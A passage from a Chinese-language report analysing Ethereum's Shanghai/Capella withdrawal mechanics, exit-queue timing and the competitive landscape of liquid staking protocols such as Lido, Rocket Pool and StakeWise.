都是无益的。部分提款允许质押者获得这些剩余的、非生产性的 ETH，并将其重新部署到激活新的以太坊验证器，或其他地方。部分提款也应该有利于以太坊网络，因为它可以防止过长的退出队列和过度的验证者流失，这可能会破坏网络的稳定。 拥有 0x01-类型提款凭证的活跃验证者可以期待他们的验证器余额在上海/卡佩拉升级后每 2 至 5 天就被部分提款一次。这是自动「扫荡」扫描以太坊的活跃验证者集并为符合条件的人处理提款所需的预期时间。给出了一个范围，而不是一个确切的数字，因为不知道有多少 0x00-类型提款凭证的的验证者会在升级后立即更新为 0x01-类型提款凭证。 这个范围的低端（2 天）假设没有一个 0x00 认证的验证者更新为 0x01 认证，使他们没有资格提款。较高的一端（5 天）假设所有 0x00 认证的验证者立即更新。实际情况可能介于两者之间，但没有数据支持具体的估计。 全部提款是对「已退出的」验证器的全部余额的回收。退出验证器的先决步骤需要具体的手动操作。然而，对于任何验证器来说，提款过程会自动发生：有 0x01-类型的提款凭证，并且已经退出。 其他一些由 PoS 担保的区块链有一个「解押」期，这是一个固定的期限，在提交提款请求后，质押者必须等待，然后才能获得他们之前投下的资产。 在以太坊中，不是一个具有固定持续时间的「解除绑定」期，而是由两个过程的总和给出的，每个过程的持续时间都是可变的：验证器退出过程，和完整的提款过程。 执行一个完整的提款的过程分为两个部分。首先，验证器必须从以太坊的共识层退出。然后，验证者要接受与执行部分提款相同的自动提款过程，但要增加一个延迟。 简而言之，一个验证器的完全退出预计至少需要 28 小时。这是退出验证器所需的绝对最短时间（5 个 历时，或 32 分钟）和验证器成为完整提款的绝对最短时间（256 个 历时，或 27.3 小时）之和。然而，大多数全部提款需要的时间会比这更长。 图 3验证器退出过程 图 3 描述了退出一个活动验证器所需的高级步骤。让我们简单地来谈谈每一个步骤。 一个活跃的验证器，具有 0x01-类型提款凭证，按照预期提出并验证块。 验证者的私钥被用来签署自愿退出（VE）操作，而已签署的 VE（通过 CL 客户端）提交给以太坊的 CL. 每个时段最多处理 16 个 VE（每 12 秒）。 一旦 VE 操作被处理，并且经过至少 5 个历时（32 分钟）的延迟，验证器的状态就会从激活状态更新为退出状态。在这一点上，退出的验证器被分配了一个退出历时（即验证器将被退出的历时），并正式进入退出队列。虽然验证器现在已经发出了退出的信号，但它仍然必须执行所有验证器的职责（即区块提案和证明），直到它通过退出队列被处理。退出队列的长度取决于活跃的以太坊验证器的总数和已经在队列中的验证器的数量。 在验证器通过退出队列处理后，其状态从正在退出更新为已退出，并停止验证区块。 由于一些原因，重要的是 PoS 协议的验证器集别变化得太快。因此，验证器的退出受到退出队列的速率限制。退出队列的持续时间是协议的流失限制的函数，以及在感兴趣的验证器之前要退出的验证器数量。 Churn limit 是一个变量，它定义了每个周期（每 6.4 分钟）可以退出的最大验证器数量，并由以下的表达式给出： Churn Limit =max(4, active_validators/65536) 根据上面的表达式，流失限制将是 4，直到有 327680 个活跃的以太坊验证器，在这一点上它就会变成 5. 在这之后，每有 65536 个新激活的验证器（流失限制商数），流失限制就会增加一个。 截至 2023 年 2 月 23 日，大约有 525000个活跃的以太坊验证器。从图 4 和图 5 中，我们可以看到，目前的流失限制是 8 个，这意味着每天可以退出 1800 个验证器（见图 4）。 图 4每天允许的最大取款量 将活跃的以太坊验证器的历史数量与相应的流失限制作图，就可以得到图 6 图 6 活跃的以太坊验证器的变化 知道了流失限制和在利润验证器之前要退出的验证器的数量，就可以计算出来退出队列的总持续时间（以天为单位）： *Exit Queue Duration (days) = (((#_of_validators_to_be_exited)/(churn_limit))6.4 mins)/60/24 图 7 全部提款过程 在验证器被退出之后，在它被完全提款之前，还有两个步骤： 已退出的验证器在其状态从已退出更新为可提款之前，还要经历 256 个历时（27.3 小时）的延迟，称为最小验证器可撤回性延迟。最后，可提款的验证器也要接受处理部分提款的自动「扫荡」，随后其余额被提取。 如上所述，所有退出的验证器必须等待 256 个历时（27.3 小时或 1.1 天），直到他们变成可提款的。一旦验证器可以提款，处理全额提款的速度被限制在每档 16 个提款，由处理部分提款的同一自动「扫荡」程序进行。 因此，下面的表达式给出了任何退出的验证器在它的余额被完全提取之前应该等待的最大时间（以天为单位）： *Max. Time from Exit to Withdraw (days) (((withdrawals_eligible_validator_count/16)12)/60/60/24) + 1.1 days 其中「withdrawals_eligible_validator_count」是有资格获得部分或全部提款的验证器的数量（因为单一的自动「扫荡」过程处理这两种类型的提款）。 上海/卡佩拉省级如何让影响以太坊质押生态？ 我们在上面看到，上海/卡佩拉分叉准备从共识层「解锁」质押的 ETH，并使其可以提取到以太坊执行地址。提款将对整个以太坊质押生态产生广泛影响——从 ETH 的流动性供应到以太坊质押供应商的竞争力。 现在我们知道提款过程将如何运作，让我们看看他们可能会如何影响 ETH 的流动性供应。 在这里，我们将试图了解在上海/卡佩拉升级之后的最初几天，ETH 的流动性供应将如何可能受到部分提款和全部提款的影响。 这一分析在很大程度上取决于质押者的行为，以及中间人的行动，他们在上海/卡佩拉升级之后的确切计划仍不清楚。因此，本节中得出的任何结论都是方向性的假设，而不是确切的预测。 在我们能够推理出部分提款可能会发生的情况之前，我们需要了解以太坊的活跃验证器集的当前、提款前的状态。 截至 2023 年 2 月 23 日，大约有 16.8 M ETH 被质押，占 ETH 总供应量的 14.6%. 这些被质押的 ETH 存放在超过 525000的验证者手中，验证者的平均余额最近超过了 34E TH。这表明，到目前为止，以太坊验证者平均已经积累了大约 2 个 ETH 的 CL 奖励，在上海/卡佩拉升级之后，超过 100 万个 ETH 可能通过部分提款的方式成为流动资金。 我们可以通过介绍 Tripoli 对 Data Always 进行的分析来完善我们的理解，其中以太坊验证者被进一步划分为三个相关的子组。0x00 认证的，Lido 0x01 认证的，以及非 Lido 0x01 认证的。对这些特定的验证器子群有一个更细致的了解，将有助于限定我们的部分提款模型，主要原因有两个。 首先，我们知道只有 0x01 认证的验证者才有资格立即提取部分资金，所以部分提取将「解锁」的 ETH 总量取决于有多少 0x00 认证的验证者在上海/卡佩拉升级之后更新为 0x01 认证。 其次，我们知道 Lido（像所有的流动性质押协议一样）可能会把从他们的验证者那里提取的 ETH 重新存入和质押，作为部分提款过程的一部分。这是因为这样做可以使 Lido 的流动性质押代币 stETH 的回报率最大化。知道了这一点，我们就可以在我们的模型中对从 Lido 验证者的部分提款中获得的 ETH 进行折现，因为这些 ETH 很可能会被立即重新质押。 通过这三个分组的视角来检查以太坊活跃验证者组的提款凭证，发现 58% 的人有 0x00-类型提款凭证。在剩下的 42 % 中，具有 0x01-类型的提款凭证，大约 61%（或所有以太坊验证者的 25%）是由 Lido 验证者组操作的。 图 8 以太坊验证器取款凭证 将每个分组的累计奖励总额除以每个组的验证者数量，就可以得到每个分组中典型验证者的平均累计 CL 奖励（截至 2023 年 1 月 29 日的数据见图 9）。 图 9平均累积的共识层奖励 提款后 部分提款 知道了我们三个验证者子组的相对比例和平均累积 CL 奖励，我们可以开始推理部分提款可能会如何进行。让我们考虑一下添加到以太坊区块链的第一个区块，紧随上海/卡佩拉升级之后。 由于此时没有 0x00 证书的验证者更新为 0x01 证书，所以第一个区块将包括 16 个部分提款，完全由目前设置有 0x01 证书的验证者组成。在这 16 个验证器中，我们可以假设 61%，即 9-10 个是由 Lido 操作的，其余 6-7 个是非 Lido 0x01 认证的验证器。如果上述情况成立，那么上海/卡佩拉升级之后的第一个区块将「解锁」大约 18.6 个 ETH（大约 11.7 个 ETH 来自 Lido 0x01 认证的验证者，大约 6.9 个 ETH 来自非 Lido 0x01 认证的验证者）。 在处理第一个区块的部分提款的同时，提交了提款凭证变更信息的前 16 名 0x00 认证的验证者的凭证将被更新为 0x01 类型，使他们有资格被部分提款。每个区块，被部分提款的验证器的组成将发生变化，以包括更多以前有 0x00 认证的验证器。由于 0x00 认证的验证器平均年龄较大，并积累了更多的 CL 奖励，这将导致每个区块提取的 ETH 总量逐渐增加。 正如 Tripoli 所指出的，每个区块提取的 ETH 概况在哪里达到峰值，「取决于百分之多少的 0x00 验证者立即切换他们的证书，但在最极端的情况下，所有 0x00 验证者都要求更换，概况将在 70 小时后达到峰值，每个区块的部分提款量约为 37.34 ETH——其中 3.01 ETH 是来自 Lido 验证器。" 下面来自 Data Always 的动画显示了在四种不同的情况下，第一次「扫荡」以太坊的活跃验证者集合，将有多少 ETH 被解锁。在 25%、50%、75% 和 100% 的 0x00 认证 的验证者立即更新为 0x01 认证的假设下，被解锁的 ETH 数量、扫荡的持续时间，以及包括在这些部分提款中的每个验证者子组的比例。 图 10如果上海分叉今天发生的部分取款 全部提款 截至 2023 年 2 月 23 日，已经有 920人自愿退出，表明这些验证者打算完全退出。此外，为了解决美国证券交易委员会（SEC）最近对 Kraken 提出的指控，该中心化交易平台同意支付 3000 万美元的罚款，并停止其在美国的质押服务。来自 Hildobby 的数据表明，Kraken 验证者占所有活跃以太坊验证者的 7.3%以上。虽然目前还不清楚是否所有的 Kraken 验证器都需要完全退出，但在最极端的情况下，这将导致 38000 个验证器（120 万 ETH）在上海/卡佩拉升级上线后不久就被提款。假设该协议的流失限制为 8，处理这个数量的全部提款将需要 20 多天。 除此之外，对将完全退出的验证者数量的任何估计都纯粹是猜测。 鉴于目前新的验证器激活的速度和上海/卡佩拉分叉的时间表仍然未知，当上海/卡佩拉上线时，以太坊的流失限制可能是 8. 这将表明，每天可能有多达 1800 个验证器（或约 57600 个 ETH）被完全提款。正如 Tripoli 所指出的，如果形成了激活新验证者的队列，同时也是全部提款的队列，这种「双端队列将把流失限制和有效验证者数量锁定在一个 [固定] 值，直到队列的一方消退」。 下面的图表（从*Data Always* 分叉和调整）模拟了处理活跃的以太坊验证器集的不同百分比的完全退出需要多少时间。该图假设冻结的流失限制为 7 或 8（即验证器退出与新激活相匹配）。这个分析的进一步限制是，它是以每天的步骤间隔进行的，而且它没有考虑验证器退出过程，最小验证器可撤回性延迟，或部分撤回。 图 11 退出一定份额的以太坊验证器所需的天数（假设有一个锁定的流失限制，即退出是由新的存款来匹配的） 竞争与创新 对于大多数 ETH 质押者来说，上海/卡佩拉升级提供了第一个机会，可以改变他们最初决定的质押方式和对象。提款后，质押的可移植性增加，可能会启动一个大规模的重新分配事件，大大改变整个以太坊投资行业的市场份额分布。 ETH 质押的在位者和新进入者都已经认识到提款带来的风险和机遇，很明显，这个行业的竞争将越来越激烈。这种竞争预计将推动快速的技术和商业模式创新，特别是在流动性质押协议中。 在本节中，我们提供了今天在整个以太坊质押生态中观察到的创新和新兴趋势的快照，以及对现有质押协议计划如何处理提款的见解。 对于零售和机构投资者来说，ETH 质押的门槛正在逐步降低。为简单起见，我们将假设「零售」质押者有可能质押少于 32 ETH，而机构质押者（或鲸鱼）则有可能质押超过 32 ETH. 然而，在现实中，这些群体之间是有重叠的。 来自 Hildobby 的数据显示，在撰写本报告时，在大约 16.8M 的 ETH 质押中，超过 75% 是通过链上可识别的中介质押。这些中介机构可以是流动性的质押协议（占所有质押 ETH 的近 32%），中心化交易平台（占 28%），或非流动性的质押池/服务提供商（占所有质押 ETH 的 16%）。其余 24% 的以太坊验证器由不明身份的实体操作，很可能是独立的质押者。 图 12 按类别划分的质押 ETH 流动性质押通常是首选的质押方式，特别是在零售质押者中。这主要是由于流动性质押协议提供了简化的、单一交易的用户体验，以及用户为其存入的 ETH 而收到的流动性质押代币（LST）。这种 LST 为质押者提供了他们质押头寸的有限形式的流动性，并允许他们在 DeFi 的其他地方重新抵押他们的质押头寸以增加他们的回报。 对于 ETH 质押的新手来说，即使是通过流动性质押协议质押，也有一些用户体验（UX）方面的障碍。首先，用户需要访问多个不同的协议界面，并依靠不熟悉的来源的数据进行比较，最终选择一个供应商。一旦用户进行质押，他们会收到一个 LST，代表他们质押的原则金额和累积的奖励。然而，这些 LST 可以由不同的供应商实施，使跟踪一个人赚取的质押奖励成为一个麻烦和混乱的过程。2023 年初，两个令人兴奋的 ETH 质押产品的推出，旨在解决这些用户体验问题。 MetaMask 质押为用户提供了从 MetaMask 的投资组合 dapp 中向 Lido 或 RocketPool 质押 ETH 的能力。熟悉的 MetaMask 界面伴随着关于以太坊质押的有用信息。除了将用户连接到顶级流动性的质押协议外，MetaMask 质押的奖励跟踪界面为用户提供了他们从质押头寸获得的奖励的估计。 此外，其他结构性产品正在出现，它们为用户提供了获得一篮多元化 LST 的机会。其中一个产品是 Index Coop 的多样化的 staked ETH（dsETH），它是由 Rocket Pool 的 rETH、Lido 的 stETH 和 StakeWise 的 sETH2 代币组成的指数。 当然也有例外情况，那些拥有超过 32 个 ETH 的人可能更倾向于使用质押即服务的供应商，而不是流动性质押协议，原因如下： 例如，像 Codefi Staking 这样的质押供应商承诺提高安全性和可靠性（SOC2 Type II 认证），同时减少高度相关的中断风险。Codefi 通过分布在多个云供应商、地区、以太坊客户端和 MEV 中继器的验证器基础设施来减轻这些风险。 像零售用户一样，机构必须在多种选择之间进行比较和选择，并在不同的质押供应商之间面临不连贯的用户体验。 机构应该关注的其他新兴创新是 Liquid Collective 推出的以机构为重点的流动性质押代币 LsETH，以及 Stakefish 推出的验证者 NFT 的概念。 由于预计到提款所带来的风险和机会，流动性质押公司一直在开发对其核心协议基础设施的升级。这些升级是为了改善他们对用户和更广泛的以太坊社区的服务。 让我们简单看看接下来计划对 Lido、Rocket Pool 和 StakeWise 协议进行的升级。然后，我们将探讨一些新进入以太坊质押领域的人。 Lido V2 Lido 是目前以太坊上最有统治力的流动性质押协议，迄今已获得超过 29% 的 16.8M ETH 质押。在该协议的历史上，Lido 有一个单一的、经过许可的验证器集。 目前，这套验证器由 30个专业验证器运营商组成，他们能够激活新的以太坊验证器，没有任何资本要求，也没有保证金，由验证器自己提供。这种高度可扩展的模式，结合 StETH 广泛的 DeFi 整合，导致了 Lido 的巨大成功。然而，随着 Lido 的质押比例接近所有质押 ETH 的三分之一，它导致了以太坊社区的知名人士对中心化的担忧。 最近，该协议宣布了 Lido V2，作为进一步去中心化的重要一步。Lido V2 的核心是两个主要的升级：提款和质押路由器。 提款 Lido 对提款的具体实施还有待确认，不过该协议已经发布了一个提案供社区审查和反馈。 简而言之，Lido 为 StETH 持有者提出了一个两步的「请求-索赔过程」。用户向协议提交提款请求，并获得一个 NFT，代表他们在 Lido 特定队列中的位置。有趣的是，这些 NFT 队列位置将是可交易的，允许需要即时流动性的用户「插队」，或许是通过支付溢价。该协议然后计算每个请求的 stETH：ETH 赎回率，保留满足请求所需的 ETH 数量，并燃烧相应数量的 stETH。 促进提现的流动资金可能来自 EL 奖励、Lido 验证者的部分提款或全部提款、新用户存款或这些来源的组合。一旦保留的流动 ETH 可用，用户就可以认领这个 ETH. Lido 的协议内提款队列将以两种模式之一来处理。「涡轮」或「掩体」模式。从用户的角度来看，这些模式的关键区别在于他们在提交提款请求和领取 ETH 之间必须等待的时间。在大量的 Lido 验证器（超过 600 个）被砍的情况下，协议会进入「掩体」模式。「掩体」模式旨在停止提款，直到所有削减的惩罚被计算在内，以确保 stETH：ETH 的赎回计算可以准确进行。在「掩体」模式下，提现可能会被推迟 36 天以上。 质押路由器 从根本上说，Lido V2 使协议不再有一个单一的、有权限的验证器集，而是加入了多个不同的验证器子集，称为模块。质押路由器是基础设施的核心部分，它将协调新用户对 Lido 的存款如何分配给不同模块。最初，Lido DAO 将设定一个目标百分比，即每个模块可以支持所有活跃的 Lido 验证器。 目前还没有提供 Lido V2 何时在以太坊主网上线的时间表，不过预计会分阶段推出。例如，提款功能可能会优先于最终形式的质押路由器的推出。 2021 年 11 月，Rocket Pool 将 minipools 引入到以太坊质押生态。迷你池将运营以太坊验证器的资本要求降低了 45%. 运营一个 Rocket Pool minipool 只需要 17.6 个 ETH（16 个 ETH 的保证金，加上价值 1.6 个 ETH 的 RPL 抵押品），而通常的要求是 32 个 ETH。 Rocket Pool 作为一个流动性质押供应商的不同之处在于，它的验证器集是无许可的，这意味着任何符合最低保证金要求的人都可以运营一个迷你池。这种保证金要求对协议的健康和 rETH 代币的竞争力至关重要，因为它使迷你池运营商和 rETH 代币持有者的激励机制保持一致。如果一个迷你池被削减，运营商的 16 ETH 保证金和价值 1.6 ETH 的 RPL 抵押品将在任何 rETH 代币持有人之前发生损失。这种设计激励迷你池运营商尽其所能，并确保 rETH 代币持有者的质押资金得到 110% 的保险。 Rocket Pool 的高保证金要求导致其无法像其竞争对手的许可验证器集那样快速扩展。纵观其历史，该协议已经出现了多次 rETH 存款池达到最大容量（目前为 5000 ETH）的情况。这迫使潜在的储户等待新的迷你池被无权限验证器组激活，在二级市场上购买 rETH，或在 Rocket Pool 的竞争对手中质押。 在未来几个月，Rocket Pool 计划推出其备受瞩目的 Atlas 升级。除其他事项外，该升级旨在处理提款，并提高协议的可扩展性。 提款 支持提款的流动性将来自协议的存款池，以及通过 Rocket Pool 验证者的部分提款来实现流动性的部分 ETH。 由于迷你池的操作是无权限的，该协议没有能力强迫运营商退出并提取他们的验证器余额。在 RETH 赎回耗尽存款池和部分提款的流动性的情况下，该协议将依靠公开市场的套利机会来激励迷你池运营商退出并完全提取其验证者。 据推测，如果 rETH 无法通过协议提供的流动性兑换成 ETH，用户将转向二级市场，而二级市场过度的 rETH 供应将导致其以折扣价交易。一旦这种折扣变得足够有吸引力，理性的迷你池运营商应该被激励以折扣率购买 16 个 rETH，通过 Rocket Pool 的智能合约燃烧它，并退出/撤回他们的迷你池。这样做可以让他们将智能合约的 rETH：ETH 汇率与 rETH 在二级市场上的折扣汇率之间的差价收入囊中。 可扩展性 为了更有效地扩大规模，Rocket Pool 的 Atlas 升级将减少迷你池运营商的最低保证金要求，从 16 ETH 和价值 1.6 ETH 的 RPL，到 8 ETH 和价值 2.4 ETH 的 RPL. 这将使运营一个以太坊验证器的资本需求减少 67.5%，从 32 ETH 到只有 10.4 ETH. 这也将使目前的迷你池运营商能够将他们的 16 ETH 迷你池分为两个 8 ETH 迷你池，有效地将每个迷你池运营商的 rETH 铸造能力提高两倍。 此外，Atlas 的升级也将为拥有 0x00 认证的验证器的独立质押者提供一个机会，通过更新他们的验证器的证书到 Rocket Pool 的智能合约来加入该协议。通过这样做，单干者将能够把他们的 32 个 ETH 验证器分成 4 个、8 个 ETH 迷你池。这将使他们能够支持 96 个 rETH 的铸造，极大地提高了协议满足新的 rETH 需求的能力，也提高了独立质押者的盈利潜力。 由于预计协议支持 rETH 需求的能力将大量增加，rETH 存款池将从 5000 ETH 增加到 18000 ETH. 这也将有助于加深协议提供的流动性，使 rETH 赎回成为可能。 没有提供推出 Atlas 升级的时间表，但预计大约在上海/卡佩拉升级的时候推出。 StakeWise 是目前以太坊上第五大热门的流动性质押协议。历史上，StakeWise 的主要产品是 StakeWise Pool，与 Lido 一样，它的特点是有一个许可的验证器组，以及在 StakeWise DAO 和验证器组之间平分赚取的质押奖励的 10% 佣金。 然而，为了应对生态内日益增加的中心化风险，StakeWise 实验室在 2022 年 9 月提出了一项重大的协议升级。这次升级被称为 StakeWise V3，可以考虑分为两部分，或者说两层。 图 13StakeWise V3S 中的用户心路历程 金库和 VLT 代币 第一层涉及到一个「金库」或存款池的市场，为质押者提供对其 ETH 的完全控制。每个金库本质上是它自己的池子，可以由任何一个人，从一个独立质押者到一个专业的验证人操作员，无条件地设置。金库的创建者可以自定义资金池的一些参数，包括谁可以向资金池存款，谁可以作为验证人操作员参与，金库的费用结构等。用户可以通过 StakeWise 的用户界面浏览可用的金库，并在符合他们需求的任何一个（多个）金库进行质押。为了帮助用户做出明智的决定，每个金库都根据一套透明的标准进行评估，并在 StakeWise 用户界面上分配一个分数。 当质押者向特定的金库存款时，他们会被发行相应数量的 VLT 代币作为回报。VLT 代币是重新定价的 ERC-20 代币，这意味着它们相对于 ETH 的价值随着金库赚取质押奖励而增加。VLT 代币对发行它们的金库来说是独一无二的，并根据该特定金库的验证器组的表现来累积奖励。这意味着只有同一金库发行的 VLT 代币是可以互换的。 超额抵押的质押 ETH（osETH） StakeWise V3 的第二层是该协议的流动性质押代币 osETH 的引入。VLT 代币持有者可以通过将他们的 VLT 代币存入：抵押合同「来铸造 osETH，或过度抵押的质押 ETH. 值得注意的是，可以铸造的 osETH 代币的价值将永远小于存入的 VLT 代币的价值。就像 MakerDAO 系统中的质押债务头寸（CDP）一样，每个 osETH 矿工将有一个独特的贷款价值指标，反映他们在铸造 osETH 时对 VLT 的利用。最大允许的贷款价值指标预计约为 90%，反映了一个矿工可以使 VLT 代币变现的数量，同时仍然可以获得他们把 ETH 100% 质押到特定金库的质押奖励。 与 VLT 代币一样，osETH 是一种重新定价的 ERC-20 代币。然而，与 VLT 代币不同，osETH 代币不与特定金库的验证者挂钩。相反，osETH 代币以 StakeWise v3 系统中所有金库的所有验证者的平均比率累积奖励。虽然这消除了用户的存款和特定验证器集之间的可追溯性，但这意味着所有 osETH 代币都是可替换的，并可在整个 DeFi 广泛使用。 StakeWise V3 尚未在以太坊主网上线。 一些额外的流动性质押协议，每个都有独特和有趣的产品，已经推出或计划在未来几周和几个月在以太坊主网上推出。让我们来探讨一些值得关注的协议。 Frax Frax Finance，著名的 FRAX 稳定币的发行者，现在是以太坊上第四最受欢迎的流动性质押产品。根据 DefiLlama 的数据，在过去的 30 天里，Fra x 的锁定总价值增加了 40%. 该协议在以太坊质押领域的陨落是由于在过去几个月里，相对于其他 LST，sfrxETH（质押的 Frax ETH）的持有者获得了超额的奖励。截至 2023 年 2 月 23 日，sfrxETH 在过去 30 天的平均奖励率为 ~7.4%，比市场领导者 Lido 的 s tETH 高出整整两个百分点。 这就是 sfrxETH 提供如此高的奖励率的原因： 用户在铸造 sfrxETH 之前，必须先向协议存入 ETH 并铸造 frxETH（Frax ETH）。所有换取 frxETH 的 ETH 都是由 Frax 协议进行质押。然而，frxETH 并不像 Lido 的 stETH 或 Rocket Pool 的 rETH 那样累积质押奖励。相反，它是由协议以 1：1 的赎回率与 ETH 挂钩。从这里开始，frxETH 持有者可以选择两个选项：frxETH 代币的持有者可以通过将他们的 frxETH 存入 ERC-4626 金库，并铸造 sfrxETH 来开始累积质押奖励。像其他 LST 一样，sfrxETH 会累积质押奖励。另外，frxETH 持有者可以将他们的 f rxETH 存入 Curve 上的 frxETH/ETH 流动性池，以获得以 CRV、CVX 和 FXS 代币支付的奖励。 由于 frxETH 持有者有两个可以赚取大量奖励的竞争性选择，sfrxETH 持有者的数量很可能少于 frxETH 的造币者数量。因此，协议赚取的质押奖励在较少的用户之间分配，而 sfrxETH 持有者可能会比其他 LST 的累积奖励率更高。 目前，人们认 为 Frax 团队的核心成员操作了所有支持 Frax 质押产品的验证器，但是没有关于这个问题的文件。 Geode 金融 Geode Finance，就像 StakeWise V3 的金库层一样，打算提供无权限的基础设施，允许任何人创建一个可定制参数的公共或私人质押池。公共质押池不受许可地接受存款，而私人质押池只接受经批准的实体的存款。每个池子都是以自我主权的方式进行管理，并将发行自己的 LST（在 Geode 系统中称为 G-derivative）。 G-derivatives 可以实现为 ERC-20（重定或重定价），或 ERC-721（NFT）。 Stader 实验室 Stader Labs 计划推出一个多池流动性质押协议，具有无权限、有权限和支持 DVT 的池（一旦技术成熟）。盯盘者被发行 ETHx，即该协议的 LST，它是一种重新定价的 ERC-20 代币。任何提供 4 ETH 最低保证金的人都可以操作无权限池的验证器。然而，许可池的验证器集将是社区策划的，不需要运营商的保证金。Stader 提议对该协议的验证者赚取的质押奖励收取 10% 的费用，并强调他们围绕其 LST 建立 DeFi 生态的能力是一个关键的区别。 Diva Labs Diva Labs 计划提供一个具有单一存款池的流动性质押协议，质押者可以将他们的 ETH 存入其中，以换取 divETH，一种重新定位的 ERC-20 代币。然而，Diva 的关键区别在于，它的验证器组将完全由运行 DVT 软件的验证器组成。这应该使每个验证器更有弹性，并促进验证器的多样性和去中心化。然而，通过专门提供基于 DVT 的解决方案，Diva 的主网启动可能会被推迟，因为这项技术仍在不断成熟。Diva 预计，验证器运营商将被要求至少绑定 1 个 ETH 来参与。 Swell 网络 最后，Swell Network 正计划在 2023 年 4 月对该协议的新架构进行一次有防护的主网发布。Swell 新架构的第一次迭代将以许可的验证者组为特色，由专业的节点运营商组成。质押者将被发行 swETH，一种重新定价的 ERC-20 代币，并将对赚取的质押奖励收取 10% 的费用。 在这里，我们看一下以太坊验证器堆栈中的两个中间件技术，它们有可能在未来几个月和几年内提高验证器的弹性和网络的去中心化。也就是分布式验证器技术（DVT），以及 EigenLayer 的重定位原语。 分布式验证器技术 分布式验证器技术（DVT）是一种将单个验证器的职责分配给一组分布式验证器的技术。与在单台机器上运行验证器相比，在多个节点上分配验证器执行的目标是提高验证器的弹性（安全性、活泼性或两者）。只要 DVT 设置中至少有 个验证器是正常的，其他的验证器就可以脱机，表现不佳，甚至被黑客攻击，而不会产生严重的或任何的惩罚。 ConsenSys 的一个专门研究小组正在进行 DVT 正式化的工作。同时，Obol 实验室和 SSV 网络正在实施 DVT 协议的不同版本，并且目前都有公共测试网。 再质押 最近几个月，再质押的概念获得了巨大的关注。特别是，EigenLayer 提出将以太坊验证者网络提供的加密经济安全扩展到以太坊协议本身以外的服务。在功能上，共识层 ETH 的再质押将需要以太坊验证者将他们的提款凭证设置到 EigenLayer 智能合约上。从这里，质押者可以选择加入，为建立在 EigenLayer 上的应用程序提供验证服务和加密货币经济安全。选择加入将涉及接受由应用程序定义的额外削减标准，以换取增加的质押奖励。 最近，EigenLayer 的创始人 Sreeram Kannan 指出，有两种类型的安全，一个足够分散的验证者网络可以提供：经济安全，和分散安全。 经济安全是通过对质押资产存在可执行的削价条件来提供的。简而言之，考虑两个加密经济系统。一个是由一个实体担保的，他押了 100 亿美元的资产，这些资产可能会因为不良行为而被砍掉。另一个是由 10000 个不同的实体担保的，每个实体质押 100 万美元的可削减资产。在这两种情况下，担保人所提供的经济安全是相同的，相当于 100 亿美元。 然而，去中心化的安全不是来自于质押的、可削减的资产的价值，而是来自于质押的实体有足够的分布，不太可能串通。通过 EigenLayer 的再抵质押原素，去中心化安全的这一特性第一次可以被需要它的服务所衡量和奖励。这样一来，去中心化的分红池和单人分红者都有机会从建立在 EigenLayer 上的应用中获得奖励，而他们更中心化的同行将无法参与其中。 虽然有这么多的好处，但也有一些风险与再质押有关。选择加入为以太坊以外的协议提供安全保障的验证者，会使他们所质押的 ETH 面临无意中被砍掉的风险增加。这给以太坊带来的风险可能是巨大的，尤其是当以太坊活跃的验证者群体中有足够大的比例选择加入为单一协议提供验证时。EigenLayer 团队和其他团队可能正在对这个问题进行更全面的风险分析。 此外，EigenLayer 提议建立一个「委员会」，有权否决 EigenLayer 服务做出的砍价决定，这引起了 Ethereum 社区一些成员的关注。赞成该委员会的论点是，如果这些砍价行为可能使以太坊面临风险，它可以防止大规模砍价事件，或一系列事件的发生。反对的观点是，「委员会」可能会带来中心化的风险，削弱迄今为止为去中心化以太坊技术栈的每一层所做的大量努力。谁可能组成拟议中的委员会，以及这些人将如何被挑选出来，并在委员会中任职，无论是在职还是离职，都还有待观察。 以太坊转向股权证明后，新的 ETH 发行量减少了 88%. 这种惊人的 ETH 发行量的减少，加上 EIP-1559 的燃烧率，导致以太坊迎来了历史上最通缩的时刻（见图 14）。 图 14 合并后以太坊的净供应量 它还催生了新一波的流动性质押协议，为持有少于 32 个 ETH 的用户提供了一种简单的方式，将他们的存款与其他人结合起来，或称为「池」。一旦资金池的价值超过 32 ETH，用户就可以一起为一个新的验证器提供资金，并按照他们的存款比例获得质押奖励。在向资金池存入资金后，用户会获得一个流动性质押代币（LST），这是一个 ERC-20代币，代表用户的质押本金，以及随着时间推移的累积奖励。 除了提供更容易退出质押头寸的流动性之外，LST 还可以作为质押资产在 DeFi 中使用，因此持有者可以将他们赚取的质押回报复合起来。LST 的这些有价值的特点导致其在最近几个月持续受到欢迎。 在以太坊上采用 LST 已经导致网络上的已质押 ETH 的强劲增长。在 2022 年的过程中，质押的 ETH 增加了 80%，达到 1590 万。在撰写本报告时，ETH 分布在超过 525000的验证者身上（见图 15）。 流动性质押供应商是质押 ETH 的最大贡献者，已经占据了整个 ETH 质押市场的近 32%，高于 2022 年初的 20 %（见图 16）。最大的流动性质押供应商是 Lido，仅此一项就占了以太坊所有 ETH 质押的 29% 以上。 图 15所有验证者的 ETH 质押金额 如上所述，直到上海/卡佩拉升级，所有质押的 ETH 和累积的共识层奖励一直被锁定。这意味着，尽管流动性质押代币代表了对基础 ETH 的索赔，但没有任何机制来赎回它。因此，上海/卡佩拉升级预计将减少与质押 ETH 相关的流动性风险，这反过来又对 DeFi 生态系统产生了一些影响。 首先是长期验证者有可能大量提取 ETH，他们将急于赎回他们积累的奖励。然而，验证者的分布和提款机制表明，销售压力可能会更加有限。大多数长期验证者可以通过他们的 0x00 凭证在链上识别，这占所有验证者的 58%。(见图 17）。根据 DataAlways 的数据，长期验证者平均拥有 2.47 个 ETH 奖励，合计约 770 个 ETH（约 13 亿美元）。这代表了大约 0.6% 的 ETH 市值，不包括初始质押，如果即时出售，可能会产生显著的市场影响。 然而，每个区块只有 16 个验证器可以退出，而且只有 0x01 有资格的验证者（不是长期持有者）才有资格退出。这意味着长期持有者退出头寸的流动很可能是逐渐的。此外，随着质押需求的增加，由流动性质押供应商（如 Lido）兑换的 CL 奖励更有可能被用来激活新的验证人。 图 17按凭证类型划分的验证器数量 另一个可能的发展是，在质押 ETH 的流动性风险降低的推动下，流动性质押供应商的使用增长。流动性风险可以说已经被二级市场抵消了，在二级市场上，被钉住的代币的持有者可以在去中心化的交易平台将其交易为 ETH. 然而，被质押的代币持续以折扣价交易，而且在市场困境时期，被质押的情况历来都在恶化。Lido 的 LST，stETH，在 2022 年 6 月 Terra 崩溃后，相对 ETH 的交易价格低至 -7%，在 2022 年 11 月 FTX 下跌后，交易价格为 -5%（见图 18）。 图 18Lido stETH 与 ETH 的比较 能够直接用基础 ETH 